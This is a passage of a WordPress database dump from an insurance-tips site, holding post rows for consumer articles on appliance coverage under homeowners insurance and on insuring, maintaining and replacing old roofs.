class=\"wp-block-heading\">Equipment breakdown coverage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Your insurer may offer equipment breakdown coverage as an add-on option on your home insurance policy. This coverage pays for financial loss caused by appliance breakdown. Unlike standard personal property coverage, mechanical failure and breakdown are covered under this add-on. The specific home systems covered by this endorsement will vary by provider, and coverage limits usually range from $10,000 to $50,000. Not all carriers offer equipment breakdown coverage, but you can consult your insurance agent for more details if you’re interested in purchasing this endorsement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">ACV vs. RCV</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>When you purchase a home insurance policy, you may be given the option to cover your personal property at actual cash value (ACV) or replacement cost value (RCV). ACV provides coverage for the depreciated value of items, while RCV covers items based on what it would cost to replace them at today’s market value. Standard HO-3 policies cover personal property on an ACV basis but may give you the option to select RCV coverage. HO-5 policies are more robust and may already include RCV coverage for personal property. Some home insurance companies like USAA automatically insure your belongings at replacement cost value.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you want more substantial coverage for your appliances, you might choose RCV for personal property insurance to ensure you’re getting enough coverage to replace your items if they’re destroyed by a covered peril. This may be particularly relevant to homeowners with lots of old appliances who would need to pay a significant amount out of pocket to replace appliances at today’s value after an ACV payout.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How much home insurance coverage do I need for my appliances?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Most personal property coverage covers your home’s contents at 50 to 70 percent of your dwelling coverage. You may want to discuss adjusting your coverage limits with your insurance agent based on your belongings. Having too little personal property coverage could leave you with significant out-of-pocket expenses following a covered loss.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To determine how much personal contents coverage you need, you could start by conducting an inventory of all your household appliances, listing them along with their current values. This not only includes major appliances like refrigerators, washing machines and ovens but also other electronics and smaller appliances that might add up in value. Regularly updating this inventory, especially after major purchases, ensures you have an accurate estimate at any given time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Once you have a clear idea of the total value of your appliances, compare it with the value of your other personal belongings and the personal property limit in your homeowners insurance policy. If the total value of your items exceeds this limit, you might want to consider increasing your coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.bankrate.com/insurance/homeowners-insurance/does-homeowners-insurance-cover-appliances/#how-much-home-insurance-coverage-do-i-need-for-my-appliances\">click here</a>.</p>\n<!-- /wp:paragraph -->','Does Homeowners Insurance Cover Appliances?','','publish','closed','closed','','does-homeowners-insurance-cover-appliances-2','','','2024-05-25 19:45:00','2024-05-25 19:45:00','',0,'https://smartinsurance.tips/?p=4107',0,'post','',0),(4108,1,'2024-05-25 19:43:27','2024-05-25 19:43:27','','Untitled-23','','inherit','closed','closed','','untitled-23-6','','','2024-05-25 19:43:27','2024-05-25 19:43:27','',4107,'http://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-23.png',0,'attachment','image/png',0),(4109,1,'2024-05-25 19:44:59','2024-05-25 19:44:59','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4108,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-23-1024x1024.png\" alt=\"\" class=\"wp-image-4108\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>The personal property portion of your insurance policy applies to the contents of your home, but whether home insurance covers your appliances will depend on the nature of the damage. While damage from covered losses like fires is typically included in a homeowners insurance policy, natural wear and tear or breakdowns, like a decade-old refrigerator malfunctioning, usually aren’t covered. For more robust financial protection for your home’s appliances, consider a home warranty or adding equipment breakdown coverage to your policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">When does homeowners insurance cover appliances?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Standard homeowners insurance policies provide financial protection for the physical structure of your home, as well as the personal belongings inside, including appliances. However, appliances are generally covered under the personal property portion of your insurance, and standard HO-3 policies only cover personal property on a named perils basis. This means that your insurance policy lists covered causes of damage that your personal property is financially protected against. These typically include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Fire, lightning or smoke:</strong> Your appliances are typically covered if damage results from lightning, volcanoes or fires. This includes damage from smoke, which can affect air circulation systems like forced air heating. Some policies in wildfire-prone regions may not cover damage from wildfires, so you’ll want to double-check your policy details.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Wind and hail:</strong> This includes damage from windstorms, hail and the weight of ice, snow or sleet. For example, if a section of your roof caves in after heavy snowfall and damages your washer and dryer, these appliances would likely be covered as long as the weight of ice and snow is a named peril in your policy. It’s important to note that flood damage is not included under standard HO-3 policies — separate flood insurance is required.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Explosions:</strong>&nbsp;Appliance damage caused by explosions, whether they originate inside or outside of the home, is typically covered. This may include damage caused by aircraft or vehicles.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Civil commotion, vandalism, malicious mischief or theft:</strong>&nbsp;Your appliances are likely to be financially protected from damages or losses caused by intentional harm or theft. For instance, if someone breaks into your home and damages your appliances while looking for valuables, your policy will usually cover this damage.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Sudden steam or water discharge:</strong>&nbsp;Sudden and accidental water or steam discharge or malfunction of a steam or hot water heating system is normally covered by personal property coverage. However, gradual damage or neglect, such as a slow leak leading to mold, is excluded from standard policies.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Freezing:</strong>&nbsp;Your appliances are generally covered against damage from freezing conditions. This may include damage to your plumbing or air systems caused by a burst pipe.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Sudden artificially generated electrical current:</strong> Unexpected electrical surges can harm your electronics. This peril is generally covered by personal property insurance, but if your home contains a considerable number of high-value electronics or other items, discuss this with your insurance agent to ensure adequate coverage.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">When does homeowners insurance not cover appliances?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>There are some instances where your insurance will not cover appliances, and it’s a good idea to be aware of them before you’re faced with unexpected repair bills. If your personal property coverage has named perils, any source of damage not included on the list of named perils typically will not be covered. These might include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Age-related breakdowns:</strong>&nbsp;Old appliance breakdowns aren’t covered by standard home insurance policies. If you’ve had an appliance for more than a few years and it stops working for a reason other than a named peril, you’re likely on your own for repairs or replacement.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Lack of maintenance:</strong>&nbsp;Regular maintenance is crucial for appliance longevity. If your appliance damage is caused by lack of maintenance, your home insurance will not normally cover it. You may want to refer to your appliance owners manual to make sure you’re performing the recommended maintenance for each.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Flooding:</strong> Standard HO-3 policies don’t provide coverage for flood-related damages. For flood coverage, you can explore policies from private insurers or the National Flood Insurance Program.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Earthquakes:</strong> A standard home insurance policy does not cover damage caused by earthquakes. However, if your appliances are damaged in a fire that occurred after an earthquake, that would likely be covered. Similar to flood insurance, homeowners in earthquake-prone regions can purchase earthquake insurance as an endorsement or standalone policy, depending on their location.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Sewer backup:</strong> If your appliances are damaged by standing sewage that overflows from your home’s sewer line, you would likely not get help from your home insurance company for repairs unless you purchase a water backup endorsement.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Home insurance for appliances</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Homeowners insurance does not cover appliances in instances outside of what is specifically listed in your policy. As such, you may want to purchase a home warranty, an appliance warranty, equipment breakdown coverage or insure your belongings at replacement cost value.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Home warranty coverage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Home warranty programs are not the same as home insurance. They typically cover specific systems and usually focus on routine breakdowns and malfunctions. This coverage is more like a service contract that covers your appliances and home systems (plumbing, electrical, HVAC) from damage caused by regular wear and tear and age. To note, you can have an HO-3 home insurance policy and a home warranty — the coverage types are different.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A home warranty generally costs between $20 and $150 a month, and you are often able to pick and choose what you’d like covered. If you purchase a newly built home, you might have a home warranty from the builder. This is different from a home warranty policy, but the coverage may look similar.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Appliance warranties</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Home appliances can be expensive, but when you purchase a new appliance, you typically have the option to add a manufacturer warranty. This warranty may even be included for free for the first year of the machine’s life. Manufacturer warranties may provide peace of mind should your new appliance break down shortly after you buy it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Equipment breakdown coverage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Your insurer may offer equipment breakdown coverage as an add-on option on your home insurance policy. This coverage pays for financial loss caused by appliance breakdown. Unlike standard personal property coverage, mechanical failure and breakdown are covered under this add-on. The specific home systems covered by this endorsement will vary by provider, and coverage limits usually range from $10,000 to $50,000. Not all carriers offer equipment breakdown coverage, but you can consult your insurance agent for more details if you’re interested in purchasing this endorsement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">ACV vs. RCV</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>When you purchase a home insurance policy, you may be given the option to cover your personal property at actual cash value (ACV) or replacement cost value (RCV). ACV provides coverage for the depreciated value of items, while RCV covers items based on what it would cost to replace them at today’s market value. Standard HO-3 policies cover personal property on an ACV basis but may give you the option to select RCV coverage. HO-5 policies are more robust and may already include RCV coverage for personal property. Some home insurance companies like USAA automatically insure your belongings at replacement cost value.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you want more substantial coverage for your appliances, you might choose RCV for personal property insurance to ensure you’re getting enough coverage to replace your items if they’re destroyed by a covered peril. This may be particularly relevant to homeowners with lots of old appliances who would need to pay a significant amount out of pocket to replace appliances at today’s value after an ACV payout.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How much home insurance coverage do I need for my appliances?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Most personal property coverage covers your home’s contents at 50 to 70 percent of your dwelling coverage. You may want to discuss adjusting your coverage limits with your insurance agent based on your belongings. Having too little personal property coverage could leave you with significant out-of-pocket expenses following a covered loss.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To determine how much personal contents coverage you need, you could start by conducting an inventory of all your household appliances, listing them along with their current values. This not only includes major appliances like refrigerators, washing machines and ovens but also other electronics and smaller appliances that might add up in value. Regularly updating this inventory, especially after major purchases, ensures you have an accurate estimate at any given time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Once you have a clear idea of the total value of your appliances, compare it with the value of your other personal belongings and the personal property limit in your homeowners insurance policy. If the total value of your items exceeds this limit, you might want to consider increasing your coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.bankrate.com/insurance/homeowners-insurance/does-homeowners-insurance-cover-appliances/#how-much-home-insurance-coverage-do-i-need-for-my-appliances\">click here</a>.</p>\n<!-- /wp:paragraph -->','Does Homeowners Insurance Cover Appliances?','','inherit','closed','closed','','4107-revision-v1','','','2024-05-25 19:44:59','2024-05-25 19:44:59','',4107,'https://smartinsurance.tips/?p=4109',0,'revision','',0),(4110,1,'2024-05-25 19:48:06','2024-05-25 19:48:06','<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4111,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-25-1024x1024.png\" alt=\"\" class=\"wp-image-4111\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Roofs are necessary for any building but often go unnoticed until the first rainy day. The lifespan of a roof is typically 20-30 years. Unlike wine, it doesn’t improve with age. A roof is often the most expensive and overlooked part of a home. In many cases, it isn’t until there is a major issue with the roof that homeowners start to appreciate its importance. Explore how homeowners insurance with an old roof works</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"h-how-does-homeowners-insurance-treat-older-roofs\">How does homeowners insurance treat older roofs?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>An old roof can be a big risk and make it difficult to get home insurance. It’s fairly common for home insurance companies to require older roofs to pass inspection before granting a policy. The payout of roof-related claims can depend on the cause of the damage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“Acts of God,” such as severe weather events, will probably be covered as long as the roof was properly looked after beforehand. Leaks or water damage caused by a 20-year-old roof that was not maintained adequately are unlikely to be covered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you have an old roof and are looking for a homeowners insurance policy or a renewal, you can ensure you’re covered by being proactive. It’s important to keep detailed roof repairs and maintenance records, including photos. If you file a roof claim, you will have the evidence to back up the issue to compensate you for your damages.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Common signs of roof damage</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Your roof plays a crucial role in safeguarding your home from the elements, but it can suffer wear and tear over time, leading to damage. As a homeowner, it’s essential to be vigilant and identify potential roof problems early on to prevent more extensive and costly issues. Here are some common signs of roof damage that you should be on the lookout for.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Curling or missing shingles</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>One of the most apparent signs of roof damage is when shingles start to curl or become dislodged. Curling shingles can occur due to age, prolonged exposure to sunlight, or improper installation. Missing shingles leave your roof vulnerable to water penetration and may be caused by strong winds or severe weather events. If you notice any curling or missing shingles, it’s time to take action.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Water stains on ceilings</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Water stains on your ceilings or walls can be a telltale of a roof leak. When water finds its way through damaged roof areas, it can seep into your home, leaving visible stains. Don’t ignore water stains, which can indicate more significant problems with your roof’s integrity. Addressing leaks promptly can prevent water damage to your interior and potential mold growth.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Visible mold or mildew</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Mold and mildew thrive in moist environments, making your roof an ideal breeding ground if leaks or poor ventilation exist. If you notice dark spots or patches of mold on your roof or the exterior walls, it’s essential to address the issue promptly. Mold growth can compromise the structural integrity of your roof and pose health risks to your household.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Sagging roof</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A roof that appears to sag or dip in certain areas signifies significant structural damage. Sagging can occur due to excessive weight on the roof, water accumulation, or weakened support structures. It’s crucial to have a professional roofing contractor inspect and address this issue promptly to prevent further damage and potential collapses.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Granule loss</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Asphalt shingles often have granules that protect the roof from UV rays and provide fire resistance. If you notice excessive granules in your gutters or downspouts, it may indicate that your shingles are wearing down and nearing the end of their lifespan. Granule loss can lead to reduced protection and premature aging of your roof.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Damaged flashing</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Flashing is the metal or rubber material installed around chimneys, vents, and skylights to create a water-resistant barrier. If flashing becomes damaged or deteriorates over time, it can compromise your roof’s ability to keep water out. Regularly inspect your flashing for signs of wear or damage and have it repaired or replaced as needed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Cracked or peeling paint on roof components</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Painted roof components, such as fascia boards and soffits, can provide valuable clues about your roof’s condition. Cracks or peeling paint may indicate water damage or excessive moisture, suggesting that your roof may have issues that require attention.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"h-problems-with-old-roofs\">Problems with old roofs</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The roof of a house is the most important part; it protects the home’s inhabitants from the elements, prevents water damage, and keeps the building healthy. As a homeowner, you should be aware of the following issues before you reach out to a roofing contractor:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Leaks</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Cracked roof shingles are probably the most common cause of water penetration. The weather is also a factor, with windstorms, rain, or snow quickly penetrating a house with cracked or missing roof shingles. Long-term leaks could also lead to mold, so it can be important to think about it now and get a repair.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Sagging</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If your ceiling looks like it’s caving in, that’s not a good sign. While the roof itself may not fall on you, the interior of your home may have more severe issues within its structure that need to be dealt with quickly. You should call a roofing contractor now to inspect and fix whatever problems this could signify.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Moss</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Moss is a big problem in colder climates that experience freeze/thaw cycles. As it clings onto shingle roofs, moss can chip or break them up. If you haven’t been actively monitoring your roof, this can create hard-to-fix problems.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The good news is there are ways to get rid of moss so your roof will be safe from breakage, and the moss won’t return for a few years.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"h-roofing-maintenance-tips\">Roofing maintenance tips&nbsp;</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Maintaining your roof is essential for ensuring its longevity and protecting your home from potential damage. Regular maintenance can help identify and address small issues before they escalate into more significant problems. Here are some practical roofing maintenance tips that homeowners can follow to keep their roofs in optimal condition:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Regularly clean gutters and downspouts</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Clogged gutters and downspouts can lead to water backup, causing water to overflow and seep under the roof’s edge. This can result in water damage to your roof, fascia, and even the interior of your home. To prevent this, clean your gutters and downspouts at least twice a year, ideally in the spring and fall. Remove leaves, debris, and other obstructions to ensure proper water flow.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Trim overhanging branches</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Trees with branches over your roof pose a potential risk, especially during storms or high winds. Falling branches can damage shingles, create punctures, or even break through the roof surface. Regularly trim back branches that come too close to your roof to reduce the risk of damage and keep your roof safe.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Conduct annual roof inspections</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Schedule a professional roof inspection at least once a year, preferably before the start of the rainy season. Roofing experts can identify minor issues developed over time and recommend necessary repairs. During the inspection, observe signs of damage, such as cracked or missing shingles, loose flashing, or deteriorated seals around vents and chimneys.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Address roof repairs promptly</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Take immediate action if you notice any signs of roof damage during your inspections or from the ground, such as curling shingles or visible leaks. Delaying repairs can lead to more extensive damage and costlier repairs. Contact a reputable roofing contractor to assess the issue and perform the necessary repairs immediately.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Ensure proper attic ventilation</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Adequate attic ventilation is crucial for regulating temperature and moisture levels within your home. Proper ventilation helps prevent the formation of condensation, which can lead to mold growth and damage to the roof’s wooden structures. Make sure vents are free of obstructions and functioning correctly to promote a healthy attic environment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Check for signs of moss or algae growth</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Moss and algae can grow on the roof’s surface in humid and shaded areas, especially on asphalt shingles. These organisms can retain moisture and cause premature shingle deterioration. To prevent this, use zinc or copper strips along the roof ridge to inhibit moss and algae growth.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Check flashing and seals</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Regularly inspect flashing around chimneys, vents, and skylights for signs of damage or deterioration. Damaged flashing can lead to water penetration and roof leaks. Ensure that seals around these roof penetrations are tight and in good condition to prevent water from entering your home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"h-when-is-it-time-to-replace-an-old-roof\">When is it time to replace an old roof?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>After time spent maintaining and avoiding future damage, replacing the roof often becomes worth the investment. Different homeowners have different needs or circumstances when to do this, though. Some reasons you might want to consider replacing your old roof:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">You’re in immediate danger</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Suppose your roof damage is so great that it’s in danger of caving in. You need to get a new one. Staying home won’t be safe if it isn’t properly repaired.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">You’re selling the house</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Potential homebuyers may be wary of purchasing a home with an old roof or one that has undergone significant repairs. Replacing your roof may also increase the house’s value, offsetting the new roof’s costs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">It just makes economic sense</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Some roofing companies charge by square foot when doing a partial roof replacement. It will become cheaper to replace the entire thing at a certain point.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A partial roof replacement is most commonly used when fixing an issue with one or two specific shingles. Other savings include preventing damage from leaks and other weather-related problems, increased energy efficiency, and a longer lifespan.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"h-faqs\"><strong>FAQs</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\">Will insurance cover a 20 year-old roof?</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Having a newer roof could result in a reduced insurance rate. Roofs 20 or older might not qualify for coverage or may only be covered for their current cash value. Insurance companies generally seek roofs in good condition to be eligible for coverage without apparent wear or damage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\">How to get insurance to pay for roof replacement?</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>First, document the damage thoroughly. Next, review your insurance policy to understand what is covered. Then, proceed to file a claim with your insurance company. After that, you must wait for the insurance adjuster to assess the damage. Once the claim is approved, find a reputable roofing contractor to start the necessary roofing work.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\" id=\"h-does-the-age-of-your-roof-affect-homeowners-insurance\">Does the age of your roof affect homeowners insurance?</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The age of your roof does impact your home insurance policy premiums. The older your roof, the higher your insurance premiums will likely be. Some insurance policies only offer actual cash value rather than the replacement cost of your roof, so check what your homeowners insurance covers before you make a claim.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\" id=\"h-can-you-get-homeowners-insurance-with-an-old-roof-in-florida\">Can you get homeowners insurance with an old roof in Florida?</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Roof insurance is not state-specific, so you can get homeowners insurance in Florida even with an old roof. You’ll want to look into insurance coverage options regardless of location with an old roof.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\" id=\"h-how-do-insurance-companies-determine-the-age-of-your-roof\">How do insurance companies determine the age of your roof?</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Homeowners insurance companies look at when the roof was last replaced or repaired. A roof inspection will help them determine the age of your roof.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\" id=\"h-in-what-circumstance-would-a-property-insurance-claim-be-rejected\">In what circumstance would a property insurance claim be rejected?</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Your insurance agent might not cover damage if it was caused due to negligence on your part. You should check your insurance policy for any other exclusions that may be in there.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\" id=\"h-what-are-the-benefits-of-a-metal-roof\">What are the benefits of a metal roof?</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The main benefit of a metal roof is its longevity. Compared to an asphalt roof with a lifespan of around 20 years, metal can last anywhere from 40-70 years, depending on which metal you choose.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\" id=\"h-what-are-the-requirements-for-roof-replacement\">What are the requirements for roof replacement?</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>You can replace your roof whenever you want, but this is typically done if you have a bad or damaged roof. You may also want to switch the roof materials, such as moving from asphalt shingles to metal roofs. It also depends on the roof’s condition. Usually, if your roof is in good condition, you may not want to bother replacing it, as it can be pricey.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\" id=\"h-how-much-would-a-new-roof-cost\">How much would a new roof cost?</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>This depends on the roof type you choose to have. Asphalt shingles are typically the cheapest roof material, but you may have another roofing material in mind. It also depends on the shape of your chosen roof, for example, a hip roof, a gable roof, or a flat roof.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\" id=\"h-what-is-a-deductible\">What is a deductible?</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>You’ll pay your deductible amount before your homeowners insurance policy kicks in and covers the damage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\" id=\"h-what-other-factors-affect-homeowners-insurance-rates\">What other factors affect homeowners insurance rates?</h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Other factors that impact home insurance premiums include location, age of the home, and if you have safety features. Some companies may offer discounts to people with safety features such as cameras and smart 